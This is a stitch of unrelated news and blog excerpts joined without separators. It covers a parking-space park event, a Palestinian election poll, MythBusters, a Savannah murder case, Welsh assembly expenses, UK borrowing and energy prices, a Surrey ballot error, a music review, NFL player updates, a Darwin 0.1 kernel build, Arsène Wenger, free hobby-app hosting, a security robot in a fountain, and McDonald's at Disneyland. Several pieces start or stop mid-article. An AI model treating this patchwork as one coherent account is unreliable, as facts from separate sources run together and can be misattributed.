"We usually go somewhere else for the parks," Seydler said. "I know she's going to miss this the next time we come down."
The park on City Dock featured bubbles, live music and a red, inflatable sphere that children took turns climbing inside and rolling around.
"The idea is very simple and it seems to catch people's attention," said Brian Vavrina, the landscape architect responsible for the park. "It gets them thinking about what these spaces could become."
3) Annebeth's—Eden Contracting
Folks wandering down Maryland Avenue could slip their shoes off and put their toes in the grass in front of Annebeth's were a parking space was covered with real sod, potted plants and a park bench.
"We had Johnnies studying in the grass, babies, dogs, out of towners with their plebe daughter," said Doug Sanner, who helped create the space. "We wanted people to have a space to sit, chat, exchange ideas and realize possibilities."
4) Tsunami—E-Landscape Specialty Solutions
The Davidsonville-based commercial landscaping company focused their park on showcasing different rainwater harvesting systems. When asked why they wanted to participate, Luke Alexander asked, "Why wouldn't we want to?"
The trio who spent the day in the "park" said they saw a steady stream of people—a number of whom stopped by to eat lunch.
"The building owner across the street was saying how cool it would be if we could extend the cafe out here everyday," Alexander said.
5) 49 West Coffeehouse—Garden Girls Landscaping
The rain barrels were the big conversation piece at this park, which focused on tips and tools for harvesting rainwater, said Garden Girls employee Cliff Manlapez.
The poll found that presidential elections held without an Abbas candidacy put imprisoned Fateh leader Marwan Barghouti as the strongest contender with only 10.5% of the vote. Prime minister of the Hamas-controlled government in Gaza Ismail Haniyeh came a close second, with 9.8% of the vote. A surprising 5.1% supported deposed security chief Mohammed Dahlan and an additional 3.3% would elect head peace process negotiator Saeb Erekat.
The largest proportion, 33.6%, said that they did not yet know who they would vote for.
Other results found that more than one-quarter of respondents saw the performance of the Palestinian Authority as slipping, up from 15.8% in April. The poll comes just after a series of publicly outed improprieties by government officials.
The poll, which had a margin of error of +-3, was conducted on August 19-23, 2015.
This piece originally ran in October 2015. With the show having ended its final season this past weekend, we are posting the article again.
After 14 seasons, MythBusters — Discovery’s pop-science engineering-fest, devoted to testing whether various widely held beliefs about the physical world are bogus — has confirmed that the show will go off the air in an explosive fireball after next season. Ratings have dipped, and even fans acknowledged the show was losing steam. Still, it’s news that makes you think about the cultural shift since 2001, and how the show’s hosts Adam Savage and Jamie Hyneman took part in that change. Over the course of nearly 3,000 myths, Savage and Hyneman (joined for much of the run by a trio of hosts doing secondary myths) can be credited with reviving a particular role: that of the public advocate for science and engineering.
When MythBusters went on the air, only Bill Nye the Science Guy was out there, working on a much smaller scale, with (quite good) lab-bench demos on talk shows and the like. Savage and Hyneman simply made bigger-and-better television: They were builders as much as they were explainers, and tested things like odd historical claims and implausible movie effects. Some historian claims that cannonballs were once made out of ice? Sure, we’ll make some and fire them off. Can an automobile’s ejection seat, like the one in James Bond’s Aston Martin, turn a car upright after it’s been flipped on its roof? Hell, let’s install one and try it out. Could a sunken ship really be raised by filling it with ping-pong balls? Call a sporting-goods supplier!
The easy complaint about the show was that it relied too much on story lines involving explosions and gunfire, and it’s a legitimate knock. But experimental science often involves visceral experiences — power tools, toxic chemicals, risk of injury — and so does the testable lore on which the show depended. It was a positive, fun version of public science, with a dose of can-do optimism provided, in particular, by Savage’s buoyant TV personality and Hyneman’s counterbalancing grumpiness. (The younger, cuter “B-team” cast members also made great TV, particularly Kari Byron, whose gameness for anything and outstanding construction skills were only occasionally overshadowed by her sometimes frustrating role, for most of the run, as the only woman on the show.) Even Barack Obama, who grasped that the series was a boon for science education, made a guest appearance on the show.
More than that, though, MythBusters revealed something striking: a national hunger for data-driven authority, and the methodology that delivers it. One of the great things about the show has been its transparency about method. At least outwardly, and within the limits of a reality-TV show, the experiments carried out by Savage and Hyneman were pretty transparent and fairly rigorous. Their degree of experimental precision would perhaps not clear the bar in a Ph.D. thesis defense at MIT, but as a first approximation, or even a second or third one, it was often remarkably thought-out and solid. Their show was the Wikipedia of science labs: accessible, cleanly presented, at least broadly correct. Turn your nose up at Wikipedia if you will — but it’s vastly more accurate than it used to be, and I bet you’ve looked something up there, and believed it, in the past week. The show even had an ad hoc peer-review process: If viewers pointed out a legitimate criticism of their methodology, the hosts would cop to it so on a subsequent episode and show a revised test.
According to the Savannah Morning News, Kevin Smith, 23, Roderick Parrish, 22, and Jordan Campbell, 23, were charged by Assistant District Attorney Frank Pennington II with malice murder in the Jan. 21, 2013, shooting death of Foley.
The three men – each currently behind bars on charges unrelated to the Foley case – also were charged with three counts of felony murder: the state saying that the trio caused Foley’s death during the commission of felonies of aggravated assault with a deadly weapon, aggravated assault with intent to rob and, individually and as parties to a crime, possession of a firearm by a first offender.
A grand jury also handed down charges for each defendant of aggravated assault and possession of a firearm during the commission of a felony.
Foley, 21, was inside her red Volkswagen Beetle near her residence at Colonial Village in Savannah when she was shot and killed at about 7 p.m., the paper reported. Officers reportedly found her on the ground near the automobile. Cops were not sure how Foley got outside her vehicle, police said at the time.
Foley had transferred from Atlantic State University to Savannah State following the spring 2012 semester, the universities confirmed to the Morning News.
"It's something we've been waiting for a long time," Foley's mother, Jennifer Foley, told NBC News on Wednesday.
"I guess we thought it would bring us closure, but I don't feel closure. Perhaps at sentencing we will."
The Savannah-Chatham Metropolitan Police Department officials have neither publicly stated how they cracked the case, nor have they offered a motive.
Jennifer Foley has revealed that she was told her daughter was being robbed when she was shot.
The Assembly's independent Remuneration Board is considering a change in the rules to allow AMs to claim more than £8,000 for Cardiff accommodation expenses if they live in England.
The idea has been criticised by Plaid Cymru AM Bethan Jenkins.
But the board said it is required by law to put in place financial resources to allow AMs to carry out their duties.
Mr Hamilton, the leader of the seven-strong UKIP group in Cardiff Bay and is AM for Mid and West Wales, lives in Wiltshire.
A consultation on the proposal is underway until 16 September.
Image caption The Senedd
Under existing rules, AMs who live in the "outer area" of Mid and West Wales and North Wales can claim up to £8,820 per year.
AMs are allowed several options which include claiming the cost of renting a furnished property in Cardiff, reimbursing expenses relating to a property in Cardiff used by a member, or claiming the cost of overnight stays in Cardiff.
'Reasonableness'
Under the proposal, outlined in a letter to AMs from board chairwoman Dame Dawn Primarolo, this rule would be amended so those who live outside Wales would be eligible - extending the outer area.
The letter said the existing rules were based on the assumption all AMs live in Wales.
There is nothing in current legislation that says AMs should reside in any particular location "either when they are elected or subsequently", Dame Dawn said.
It is understood rules which reduce the expenses allowed if you live nearer Cardiff would remain under the proposals - effectively extending the outer area to England, Scotland and Northern Ireland.
Currently, members who live in the "intermediate area" of Gower, Neath, Swansea East and Swansea West constituencies can get £3,420 for overnight stays.
Those in the inner areas of South Wales West, Central and East can get "overnight stays in exceptional circumstances".
Image copyright Plaid Cymru Image caption Bethan Jenkins: 'If you live outside Wales how can you possible be in touch?'
But Bethan Jenkins, Plaid Cymru AM for South Wales West, criticised the proposals.
She said: "I genuinely believe that AMs should live and work in Wales if they are serious about representing their constituents.
"If you live outside Wales how can you possibly be as in touch and as close to your community?
"If there were interim proposals in place to help AMs who live outside Wales to move here then I would be relaxed about that, but I am worried immensely about the precedent this sets - that it will say to people, become an AM for Wales and live elsewhere."
Labour's Llanelli AM Lee Waters said on Twitter: "Remuneration Board plans to let AMs who don't live in Wales to claim for [a second] home in Cardiff.
"Shouldn't be allowed to stand, let alone claim."
Dame Dawn said: "The independent Remuneration Board is required by law to put in place financial resources that enable assembly members to carry out their duties as elected representatives."
She said: "No member should be impeded from undertaking the role they have been elected to do.
"The people of Wales decided who they wanted to elect on 5 May and they expect the board to ensure that those 60 members have appropriate and reasonable resource in place to represent them to the best of their ability."
She said she would welcome "any comments" the public and AMs may have.
At the time Mr Hamilton became group leader he said he lived "less than an hour from Cardiff".
"For the time being I'm living where I lived for the last ten years," he said, adding there was a "big logistical problem to solve" about where he based himself.
In effect this is giving you money because over the course of the loan – provided inflation stays where it is or increases – then its value will in part be eroded by prices. This is the first time I can remember that being the case and in the main it is the Bank of England's Funding for Lending Scheme, which is pumping billions into lenders' coffers, that is to thank or blame – depending on the view you take of credit.
But the headline rate is only part of the story. The reality is that these super-cheap loan and mortgage rates are only available to the chosen few and many of these people frankly don't need to borrow. If you aren't in this elite, credit suddenly gets a lot more expensive – if you can get it at all.
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Funding for Lending has done very little for small businesses – they are still finding it difficult to get money to expand – and this will have major implications for the UK economy as a whole as the recovery gathers pace and inevitably sucks in imports because domestic firms can't expand to meet demand. Overall, there has never been a greater difference between the borrowing rates paid by those with a good credit score and everyone else, including business. Incidentally, this is a reason why Help to Buy does actually fill a gap. The mortgages aren't that cheap – around 5 per cent – but at least they are there to be had.
In short, this golden period for borrowing is a bit of an illusion for most of us – in the same way that the house-price boom we keep hearing about doesn't apply above the Watford Gap.
Energy firms show contempt
A few weeks ago, after the Labour leader Ed Miliband announced that he wanted to cap energy prices, I wrote that the power companies had a simple choice: either ignore the undercurrent of discontent and take their chances as a key debating point in the next election campaign, or change their message and correct some of their abuses.
The initial signs are that they are hell-bent on taking the country on. Energy UK was deeply stupid to greet Mr Miliband's announcement with the threat of blackouts, especially as we are now facing a host of price rises.
The response of the energy minister, Michael Fallon, was interesting, calling on the public to switch from SSE, the first company to announce a price rise. I have never heard a government minister – least of all a Conservative – take such a line before. Clearly the Government is very nervous about how this plays out in the country.
I find it incredible, from a purely public-relations perspective, that the energy companies thought it a good idea to raise their prices right at this point. Now they will say, of course, that this is purely a business decision, but in the wake of Mr Miliband's speech each decision they make has political as well as bottom-line consequences. This won't end well for them.
We need a law, not a code
Managing agents have three weeks to sign up to a voluntary code of good practice, or face ... no consequences whatsoever.
The Association of Residential Managing Agents (Arma), which is sponsoring the code, has put out an urgent call for companies to sign up.
In the main, Arma is a body trying to do the right thing; it realises that some of the abuses which go on in the property-management industry are both unacceptable and will in due course lead to legislative action. Managing agents have virtual carte blanche to spend leaseholders' money, and there have been many instances where firms have been found to have abused their positions.
Yet on its election, the Coalition Government scrapped plans to properly legislate the managing agent sector, so we are left with voluntary codes such as the one proposed by Arma. This is, of course, not good enough and sooner or later legislative action will have to ensue.
AN administration error has resulted in a county council seat being uncontested in next month’s elections by the Conservative party where they currently have a 2,500 majority.
County councillor Simon Gimson was expected to defend his seat representing the Shalford division, but due to a mistake by Conservative agent Andrew Barrand, the party will not have a candidate for the ward.
Cllr Gimson was elected in a by-election two years ago with 3,602 votes, following the resignation of Tony Rooth. This was 2,515 more votes than the Liberal Democrat candidate Andrew Barnes, who came in second.
Following the mistake, Mr Barrand handed in his resignation, which has been accepted.
The error means UKIP is the only political party fielding a candidate in every one of Surrey County Council’s 80 divisions.
“I am disappointed that Conservative supporters will not have a candidate,” Cllr Gimson said. “It has been a privilege to represent Shalford.
“I have enjoyed particularly working with the parish councils, which do fantastic work locally.
“I am just sad. It is disappointing that I am not going to be able to stand because of a mistake. The thing that upsets me most is the Conservative supporters have not got a Conservative candidate.
“It is not about me, it is about them having a candidate.”
Cllr Gimson said he was going to take a pause to think and decide what he would be doing next, but that professionally he will continue to work in the transport sector as a consultant.
Alan Young, chairman of the Guildford Conservatives, said: “The long and the short of it was the agent for the county council elections basically omitted Simon Gimson’s papers. It was a human error.
“I think it is deeply regrettable because he was a very highly regarded member of the county council and I think a lot of people were looking forward to him being able to continue to serve. It is a great shame for him to not be able to.
“He will be greatly missed but we will look for the earliest opportunity for him to return to frontline politics.”
With the omission of Cllr Gimson, voters will be able to choose from Rose Seber, Labour, George Johnson, UKIP, and George Potter, Liberal Democrats.
Sue Doughty, chairman for the Guildford Liberal Democrats, said without a Conservative candidate, it would be a straight fight between her party and UKIP.
“We will take this fight seriously,” she said.
“It has to increase the possibilities for us. There will be some Conservative voters who would never dream of voting UKIP, but would want to use their vote.”
Angela Gunning, Guildford Borough Councillor for Labour said the vote for Shalford was going to be very interesting.
“You can’t tell what will happen here,” she said.
“One major candidate is missing, and a rival, UKIP, has appeared. So, the distribution of votes, who can say?”
Garreth Evans, chairman of UKIP Guildford, said, he thinks that Mr Johnson’s chances of winning the Shalford seat have been enhanced.
“First of all it is unfortunate the Conservative candidate did not get on the ballot paper because all of us need to assure democracy is seen to be actually achieved,” Mr Evans said.
“That is a sadness at one point, as we want to win as cleanly as possible.
“But, secondly, for those Conservative voters who will be getting their ballot papers through the post, when they go to vote for whoever it is they choose, I think at that point if it was an alternative vote, and they were voting for their second choice, I suspect it would be UKIP.
Keeno’s back with a grand gesture. Succeeding his outstanding debut album, “Life Cycle”, the “Futurist” LP soars through sixteen tracks with boundless finesse.
Keeno thrives with his cinematic and orchestral offshoots of drum & bass, silken smooth soundscapes and deep weighty bass.
Opening track “Faithless” sets the scene with elegant and epic string sections jumping into a playful arrangement. With serious drum-work in place vocal talents Oscar Corney, MC Fava and Alice Gasson bring tracks “Lifeline”, “Perspective” and “A Breath” to life with tight harmonies and rich, velvet tones. Keeno hasn’t held back in “Dream Sequence”, “At Twilight” and “Futurism” with majestic grandeur travelling seamlessly through star-lit journeys of sound and space.
The growth and musical virtuosity of this young talent has flourished since signing to Med School back in 2013. By uniting his high-end production skills and classical training in a multitude of instruments Keeno has quenched the thirst of drum & bass lovers across the globe.
The former Arkansas running back had 152 yards and one touchdown on 29 carries in the Cowboys’ 27-20 loss to the New York Giants. He also caught two passes for 10 yards.
It was McFadden’s most rushing yards in a game since 2011 and fourth-most in his injury-riddled NFL career.
The performance more than doubled his rushing total for the year, as he had only 129 yards and one touchdown on 37 carries in the Cowboys’ previous five games.
“I thought he was outstanding,” Dallas head coach Jason Garrett told dallascowboys.com. “I think anybody who watched the game had to have been impressed by his performance. You saw him run inside, you saw him run off tackle and you saw him run outside. He made a lot of big plays in the game, he had a lot of dirty runs in the game. Just really, really played a complete football game and that’s a well as we’ve run the football all year long and we have to continue to build on that.”
McFadden’s increase in carries was a result of starting running back Joseph Randle going down with an oblique injury. Randle could miss the Cowboys’ Week 8 game against the Seahawks, but even if he’s healthy, McFadden is expected to start.
Here is a look at how the other 10 former Arkansas players on NFL 53-man rosters performed in Week 7.
Zach Hocker was released by the Saints after missing two field goals in Week 6.
The Chargers placed Darius Philon on short-term injured reserve on Oct. 17. The earliest he can return to a game is Week 14.
Alvin Bailey – Seattle Seahawks
Week 8: 3:25 p.m. Sunday, at Cowboys
Because Gary Gilliam was battling an ankle injury, Bailey rotated with him at right tackle, playing 24 snaps in the Seahawks’ 20-3 win over the 49ers Thursday. One of those snaps came at left tackle, when he replaced Russell Okung for a play, and a few came as an extra tackle in heavy formations.
Season: 6 games, 0 starts
Knile Davis – Kansas City Chiefs
Week 8: 8:30 a.m. Sunday, vs. Lions (in London)
The Chiefs seem to be committed to Charcandrick West as their No. 2 running back, as Davis had only one carry for two yards in their 23-13 win over the Steelers. However, Davis remains their main kick returner. He had two kickoff returns for 46 yards Sunday.
Season: 7 games, 0 starts, 17 carries, 42 yards (2.5 yards/carry), 1 touchdown, 2 receptions, 24 yards, 12 kickoff returns, 297 yards
Trey Flowers – New England Patriots
Week 8: 7:25 p.m. Thursday, vs. Dolphins
After spending six weeks on the inactive list, Flowers was active and made his NFL debut in the Patriots’ 30-23 win over the Jets. He got into the game on defense late in the first quarter, but didn’t register any statistics.
Season: 1 game, 0 starts
Brett Goode – Green Bay Packers
Week 8: 7:30 p.m. Sunday, at Broncos
The Packers had their bye in Week 7.
Season: 6 games, 0 starts
Chris Gragg – Buffalo Bills
Week 8: BYE
Injuries have allowed Gragg’s playing time to increase dramatically, as he played a season-high 61 snaps in the Bills’ 34-31 loss to the Jaguars in London. He was targeted seven times, but quarterback EJ Manuel had several overthrows and Gragg finished with two catches for 35 yards.
Season: 4 games, 8 receptions, 104 yards
Ryan Mallett – Houston Texans/released
Mallett made headlines for missing the Texans’ charter flight and having to fly commercial before their 44-26 loss to the Dolphins. He did not play in what was his last game with Houston; he was released Tuesday.
Season: 6 games, 4 starts, 78 of 147 (53.1 percent), 770 yards, 3 touchdowns, 4 interceptions, 51.5 Total QBR, 4 carries, 11 yards, 1 touchdown
Jason Peters – Philadelphia Eagles
Week 8: BYE
During the first quarter of the Eagles’ 27-16 loss to the Panthers, Peters had to be carted off the field with what was later determined to be back spasms. However, Philadelphia coach Chip Kelly said he believes he’ll be able to play in Week 9 after a week of rest during the Eagles’ bye.
Season: 7 games, 7 starts
Chris Smith – Jacksonville Jaguars
Week 8: BYE
Smith was one of the Jaguars’ seven inactive players in their 34-31 win over the Bills in London. It was his four consecutive game to be inactive.
Season: 3 games, 0 starts, 7 tackles, 0.5 sacks, 1 pass deflection
Travis Swanson – Detroit Lions
Week 8: 8:30 a.m. Sunday, vs. Chiefs (in London)
Swanson started at center in the Lions’ 28-19 loss to the Vikings. He led an offensive line that was given an F grade by the Detroit Free Press after the game.
Season: 7 games, 7 starts
Jarius Wright – Minnesota Vikings
Week 8: noon Sunday, at Bears
Wright caught three passes for 31 yards before leaving the Vikings’ 28-19 win over the Lions in the third quarter with an injury. It was reported Tuesday that he is undergoing the NFL’s concussion protocol.
So I finally got it running, after some inspiration from NCommander over at nextcomputers.org forums, that the Darwin 0.1 kernel is infact build able, I went ahead and took a stab at it. While he was trying to start from OPENSTEP, I tried it from something as close as I could to the target, which was Rhapsody DR2.
Back in the days of the NeXT / Apple merger, there was hope that OPENTSTEP could become the next great OS for the Apple Macintosh. It had been a while since NeXT had the OS running so things had rotten somewhat, as time had passed on. However the first and most viable platform would of course be the x86. Back in 1993 while feeling increased pressure in the hardware space, NeXT was forced to start porting away from their black m68k based hardware, and this was an opportunity to get their software running on different platforms. And sadly in 1993, the NRW aka NeXT RISC Workstation that was in development with dual m88000 processors was killed along with all hardware projects. In the end it didn’t matter as much as the only processor from the early 90’s that has a vibrant future is the i386.
So back again to this transitional time before OS X 10, there were developer versions of this OS seeded out that required you to have an intel machine as OPENSTEP was being ported to the PowerPC machines that Apple was selling.
So on May 14, 1998, the last public version for the Intel processor was released, DR2.
However two interesting things happened along the way to what would become OS X Server 1.0 . The first is that Apple gave up on the ‘yellow box‘ portable API, and to satisfy the GPL requirement to release changes to source code, Apple would go one further and release the source code to many of the internal system utilities, along with the kernel in what was known as Darwin.
This was a big deal for many of us, as the cost of getting the source code to any UNIX was incredibly prohibitive, and OS’s like Linux, NetBSD/OpenBSD/FreeBSD were picking up steam, OPENSTEP being awaken from it’s cryonic hibernation but with the promise of being free and open software was pretty great! Back in the day it sure looked promising!
Obviously things didn’t work out as everyone had hoped as Apple either straight up ignored anyone on the outside, or they hired people who showed promise, made them sign NDA’s and were basically never heard from again.
So the recently recovered source code to Darwin 0.1 corresponds with the release of the PowerPC only OS X Server 1.0. However as we all found out, Darwin will still built and maintained on Intel, as it was a very secretive plan B, in case something went wrong with the PowerPC platform. Being portable had saved NeXT before, and now it would save Apple.
So with this little background, and a lot of stumbling around in the dark, I came up with some steps, that have permitted me to build the Darwin 0.1 kernel under DR2.
However it was not perfect, and the biggest glaring issue was due to the software that was recovered, the layer known as driverkit, (driverkit-139.1-1.tar.gz) turns out to be from another, later release of Darwin, the 0.2 release, which the only thing surviving is the driver kit. It doesn’t build cleanly, and In order to get it to build I had to break the mach PCI bus. This means that yes, PCI devices will not load at runtime, only at boottime by sald.
After a lot of fighting I was able to produce a system that could boot into both single user and multiuser mode, although it was unable to load drivers so there was no networking, and no UI.
In a fit of boredrom, I built a bunch of the command line tools for Darwin, and a few libraries, and then went to see why the driverkit had a problem finding the reason why KernBus was undefined, or even with some attempts at helping all the methods were unknown, I stumbled onto the fact that during compilation it will generate new headers, and in those headers are the correct interface for driverkit to call into the KernBus. So I was able to quickly rebuild driverkit, then re-link into the kernel and now I could load drivers! Thrilled with this much, I did something more aggressive, I made a dump of my install ‘target’ and then restored it onto an image of my dev VM. And much to my amazement it booted up to the graphical login. I now had PCI working correctly.
This kind of thing is not for casual users, but if you install DR2 into a VM, you ought to be able to then use this ISO image, and follow these instructions, and you will then have a DR2 OS from 1998 with the OS X 1.0 kernel from 1999 running. The biggest difference I’ve noticed is that the newer kernel can use 512MB of RAM, a nice bump up from 192 which was the prior limit.
Obviously there is a lot more work to be done, it’d be nice to find some source to an IDE or other block controller and modify it to work with the massive disks of today, along with the filesystem code to handle partitions larger than 2GB.
Maybe it will be possible to port in the driverkit to XNU, so we can get things like existing drivers, and SMP, massive filesystems etc.. It’s great to see we are going the right way.
For fans, here is a qemu 0.90 image+exe that can run Darwin 0.3 into single user mode.
Arsene Wenger says Arsenal's 3-4-3 system gets the best from all players, and insists he even wanted to introduce it six weeks ago. Arsene Wenger says Arsenal's 3-4-3 system gets the best from all players, and insists he even wanted to introduce it six weeks ago.
Arsene Wenger says Arsenal's 3-4-3 system gets the best from all players, and insists he even wanted to introduce it six weeks ago.
Wenger's Arsenal switched to the system, also used by Premier League leaders Chelsea, before beating Middlesbrough just under a fortnight ago following a wretched run of results.
They have now won three games on the trot with the system, and Wenger told Sky Sports in an exclusive sit-down that he was looking to bring the formation in early March.
Wenger has seen Arsenal win their last three games using the 3-4-3 system
Wenger said: "In fairness I wanted to do it a month-and-a-half ago, but I thought no, maybe we shouldn't destroy the way we have played before, because we were 20 games unbeaten. When the confidence becomes fragile, sometimes just to focus on something different is important.
"At the moment it looks like it gets the best out of every player. It's not a new system because I played it 20, 30 years ago! But it's a system that sometimes brings some reassurance when the defensive confidence is not at the best."
Wenger, who has been at Arsenal since 1995, sees his contract run out in the summer, and speculation remains rife about the Frenchman's future.
The Gunners are in danger of missing out on the top four for the first time in his tenure, and Wenger insists he finds walking away from the club harder than the average manager, due to the emotional investment he has made over more than two decades.
Wenger gives his players a team talk during the FA Cup semi-final win over Man City
"It is very frustrating because I want to win every game for this club. The disadvantage is that I have been here for some 20 years, you know and are conscious of how important it is, your love comes in and I don't sit here like a brutal, professional guy who says: 'Ok, if it doesn't work I'll walk away.'
"I contributed to build what exists, and therefore if it doesn't go well of course I suffer more than a normal guy who is just here for a year or two. At the end of the day my job is to get the best out of the potential of the team; my job is to fight like mad to get the best out of the team.
Arsenal face Tottenham in the north London derby on Super Sunday
"Balance in a team is fragile, life in general is fragile. The environment of the game has become so important that you cannot isolate the team from negative vibes, and that's why it is contagious. It's like a virus, a ruthless virus, and you have to fight to kick him out again, and it takes time.
"It's been better and more connected recently, but you know that in life as well, you forget very quickly how good you are. Nobody reminds you in a bad period that you're maybe not as bad as people judge you.
"Even when you are bad for a moment, that situation is not permanent. It's down to you, and you have a choice whether to be divided or united. One of the great things about teamwork is that you can make that choice, connect together and fight together."
Wenger said he wanted to introduce 3-4-3 in early March
Arsenal face north London rivals Tottenham on Super Sunday, live on Sky Sports, looking to halt their opponents' title chase at the business end of the season.
Mauricio Pochettino's Spurs are on a fine run of results, having won eight on the trot in the Premier League, and Wenger says the collective performance needs to come first at White Hart Lane for his side to have a chance of picking up three points.
"How do we stop them? First by a committed defensive performance. I believe we have the quality to give them big problems.
Danny Higginbotham looks ahead to Sunday's north London derby and the tactics Arsenal and Tottenham could employ Danny Higginbotham looks ahead to Sunday's north London derby and the tactics Arsenal and Tottenham could employ
"Overall, if you focus more on getting a collective performance on the day, make sure the energy levels are high, and if that is right, you get opportunities to score goals.
Hacklone Blocked Unblock Follow Following Jul 18, 2017
I’m pretty sure many of you have hobby projects that you’re sure will bring you absolutely no money at all.
Knowing this I think nobody in their right mind would ever pay for developing or hosting their hobby app. Still thankfully this doesn’t mean that you cannot create and run a hobby app that follows modern standards.
My hobby app is a pretty simple dashboard for visualising state of my publicly available npm packages. A useful tool for package authors like myself.
Development and CI
For developing the app I chose VS Code it’s free it’s simple and easy to use. My app’s backend is written in TypeScript using koajs and running on nodejs.
For storing my code I use BitBucket which offers unlimited private repositories.
As a CI build system I chose to use CodeShip which is free to use until 100 builds per month which should be plenty of builds for me. It integrates well with BitBucket and Heroku (spoiler alert :D).
CodeShip builds
Hosting
Now that my app is able to build it needs to be hosted too. For hosting the backend I chose the free version of Heroku. One downside of this that it goes to sleep after 30 mins of inactivity (But of course we can easily handle it with UptimeRobot that pings your site in every 5 mins :)). Heroku offers Postgres SQL which has a Free version that supports 10k rows — for an app like this probably it will be enough.
Heroku dashboard
If for whatever reason people start using my app it will take 1 minute for me to scale the server and the database instances up. And some money :(
Okay this is great I have my backend up and running. Now let’s cheat a bit.
Let’s buy a custom domain for my app. It cost me $1 on GoDaddy. Use it’s DNS service to point the domain to my Heroku server.
Now let’s make the connection secure with TLS. SSL certificates can be expensive and sadly Heroku offers use of HTTPS for custom domains for a price BUT lucky us all Heroku instances can be reached through HTTPS using a subdomain of herokuapp.com (https://your-app-name.herokuapp.com)
So in light of this I decided to add CORS support in my app, so that my frontend hosted on packageboard.com can communicate with package-board.herokuapp.com as well as it can add XSRF protection to my app.
So it’s time to deploy my frontend to a CDN that supports custom domains and SSL. So first let’s get an free SSL cert. Luckily I found Let’s Encrypt CA that offers free certs and even offers automated cert creation which can integrate with hosting providers.
After a little search I found Netlify a CDN hosting provider which automatically creates/renews HTTPS certs with Let’s Encrypt. This is what I needed.
Netlify
Tracking
Now that my app is live it’s time to track the traffic so I set Google Analytics up. Just what I’ve expected :D
Google Analytics
Conclusion
The Knightscope security robot was supposed to patrol the Georgetown Waterfront, a ritzy shopping-and-office complex along the Washington Harbour in D.C. But the pressure was too much for the rolling robot, which can turn, beep, and whistle in order to maintain order. It rolled into fountain and drowned itself on Monday.
Our D.C. office building got a security robot. It drowned itself.
We were promised flying cars, instead we got suicidal robots. pic.twitter.com/rGLTAWZMjn — Bilal Farooqui (@bilalfarooqui) July 17, 2017
The Knightscope security robot has pros and cons. It’s a good deal for any place that wants something patrolling an area on the cheap. It’ll roll around malls or parking lots, with rental prices starting at $7 per hour — 25 cents less than the federal minimum wage. Uber uses it to patrol certain parking lots.
McDonald’s in Yesterland
Conestoga Fries in Frontierland
The Harbour Galley in Critter Country
On December 12, 1948, in San Bernardino, California, brothers Richard and Maurice McDonald opened the original McDonald’s “Speedee Service System” restaurant selling 15-cent hamburgers and 10-cent French Fries. At least that’s what we used to think. Here in Yester-Frontierland, we can see that the original McDonald’s restaurant was a Conestoga Wagon in the Old West selling $3.00 French Fries. Not far away, The Harbour Galley, another relic from a bygone era, serves a similar menu.
Conestoga Fries
The Harbour Galley Both locations offer McDonald’s French Fries, various Coca Cola fountain drinks, and Dasani bottled water. The Harbour Galley also offers hot beverages. Sure, the food menu is limited. But if you want more fat and salt in your diet, who needs any other choices?
It doesn’t look like a McDonald’s.
49 Served.
Sorry. No fish.
Branded fries, branded cold drinks, branded water, branded hot beverages
It’s what fishermen eat when they don’t catch anything.
On May 23, 1996, McDonald’s Corporation and The Walt Disney Company announced a “10-year multi-divisional, multi-national relationship,” effective January, 1997. The agreement linked Disney’s theatrical releases, theme parks, and video releases to Happy Meal toys and other in-restaurant promotions. If the 18,700 worldwide McDonald’s restaurants weren’t enough, there would also be places to buy McDonald’s food at Disney theme parks. First came McDonald’s food at Walt Disney World. Disney’s Animal Kingdom at the Walt Disney World Resort opened in April 1998 with an entire land, Dinoland U.S.A., presented by McDonald’s. McDonald’s took a bit longer to reach the West Coast. Conestoga Fries at Disneyland opened in November 1998 near the spot where guests had boarded the old Conestoga Wagons ride in the 1950s. The canvas top that proclaimed “Westward Ho!” was a nod to the old ride. However, the restaurant wasn’t one of the original Conestoga Wagons; it was just a creatively designed fast food structure. Some guests welcomed the familiar fries. The McDonald’s fries were simply a branded food product, like Coca Cola. What’s wrong with that? Finally, a food their kids would definitely eat. How wonderful! Some guests were appalled. The presence of McDonald’s in the park was just plain wrong. Disneyland is supposed to be about unique experiences, not about something you can get anywhere. This wasn’t even a case of a company sponsoring an attraction. How awful!
The Harbour Galley before McDonald’s arrived (2000 photo) The Harbour Galley had originally opened in July 1989 as a counter-service seafood restaurant. It was carefully designed as a weathered old seaside shack. The menu included “healthier food alternatives”—a tuna sandwich with cholesteral-free mayonnaise, a fresh seafood brochette, and fresh fruit mix. Located at Frontierland’s Fowler’s Harbor, across from New Orleans Square’s Haunted Mansion, The Harbour Galley was officially in Critter Country.
The Harbour Galley after McDonald’s departed (2010 photo) Conestoga Fries was a big success, despite its limited menu and the availability of better food at Disneyland. The park needed another McDonald’s-branded French Fry counter. Or perhaps the McDonald’s-Disney agreement required it. So, in summer 2001, The Harbour Galley received a fresh, shiny coat of paint and became the second location at Disneyland Park selling McDonald’s French Fries. Earlier that year, Disney’s California Adventure had opened with Burger Invasion, a McDonald’s-branded counter-service restaurant that sold Big Macs and other sandwiches in addition to French Fries and beverages. The ten years were over on January 1, 2007. McDonald’s and Disney did not renew their agreement.
The Harbour Galley reverted to Dockside Dining instead of only French Fries. On September 2, 2008, the McDonald’s logo disappeared from Conestoga Fries, The Harbour Galley, and Burger Invasion. Conestoga Fries was demolished. Burger Invasion was shuttered, awaiting the time when the building and its infrastructre will be reused. The Harbour Galley survived the departure of McDonald’s; it reverted to a menu featuring seafood. Now, if you want McDonald’s food when you’re at Disneyland, you have to go across Harbor Boulevard—just as before November 1998. But wouldn’t you rather eat something else?
During the McDonald’s era (2008 photo)
After the departure of McDonald’s (2010 photo)
Yesterland has more about “McDisney.” Please take a look: McDonald’s food at Walt Disney World McDonald’s presents Dinoland U.S.A. Click here to discuss this page on the Yesterland Discussion Forum at MiceChat! The All-New Woody’s Roundup
Patch of Heaven
Home © 2010-2017 Werner Weiss — Disclaimers, Copyright, and Trademarks
Updated May 5, 2017.
Photo of Conestoga Fries: 2008 by Chris Bales.
Photo of Conestoga Fries menu: 2008 by Chris Bales.
Photo of The Harbour Galley menu: 2007 by Allen Huffman.
Photo of Conestoga Fries showing rear of wagon: 2008 by Chris Bales.
Photo of Conestoga Fries poster: 2008 by Chris Bales.
Photo of The Harbour Galley: 2007 by Allen Huffman.
Photo of The Harbour Galley sign: 2008 by Chris Bales.
Photo of The Harbour Galley with “Come Ashore” artwork: 2008 by Chris Bales.
Four photos of The Harbour Galley, before McDonald’s: 2000 by Allen Huffman.
Photo of The Harbour Galley with “Come Ashore” artwork in 2010: 2010 by Chris Bales.
Photo of The Harbour Galley: 2009 by Allen Huffman.
